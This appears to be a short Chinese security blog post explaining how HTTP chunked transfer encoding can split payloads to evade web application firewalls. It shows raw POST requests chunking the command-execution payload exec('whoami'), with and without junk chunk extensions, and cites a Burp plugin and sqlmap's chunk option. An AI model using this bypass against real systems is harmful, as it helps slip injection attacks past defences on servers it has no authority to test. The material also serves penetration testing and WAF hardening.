点击订阅关注我哦
分块传输
分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由网页服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。通常,HTTP应答消息中发送的数据是整个发送的,Content-Length消息头字段表示数据的长度。数据的长度很重要,因为客户端需要知道哪里是应答消息的结束,以及后续应答消息的开始。然而,使用分块传输编码,数据分解成一系列数据块,并以一个或多个块发送,这样服务器可以发送数据而不需要预先知道发送内容的总大小。
绕WAF原理
有些WAF无法处理分块传输编码传输机制,所以可以利用该机制将payload切分成多份来绕过WAF。
展开说说
分块传输请求包主要是修改下面三个地方:
例子:
payload:exec('whoami')
POST / HTTP 1.1
Host: x.x.x.x
Content-Length: xxx
Transfer-Encoding: chunked
2
ex
2
ec
3
('w
3
hoa
3
mi'
1
)
0
POST / HTTP 1.1
Host: x.x.x.x
Content-Length: xxx
Transfer-Encoding: chunked
2;123fdvew
ex
2;asfa
ec
3;ilaew
('w
3;dsvsw
hoa
3;34bgdw
mi'
1;by78sw
)
0;ascqw12
发包自动化
burp有对应的自动化插件:https://github.com/c0ny1/chunked-coding-converter 该插件可以添加脏数据和延时分块传输
新版 sqlmap 已经集成了 chunk 功能, 可以通过 一chunk 指定:
https://github.com/sqlmapproject/sqlmap/pull/3536
1.只能使用在post环境。
2.HTTP/1.1才支持分块传输
当然要考虑实际利用环境,我之前实验sql注入靶场利用分块延时都没成功。很生气。还不如手注。也可能是是使用姿势不太对。
END
参考:
利用 Transfer-Encoding:Chunked 绕过 WAF :
https://www.yaowendao.com/2019/07/20/%E5%88%A9%E7%94%A8%20Transfer-Encoded-Chunked%20%E7%BB%95%E8%BF%87%20WAF%20%E5%AE%9E%E6%88%98/
利用分块传输吊打所有WAF:
https://www.freebuf.com/articles/web/194351.html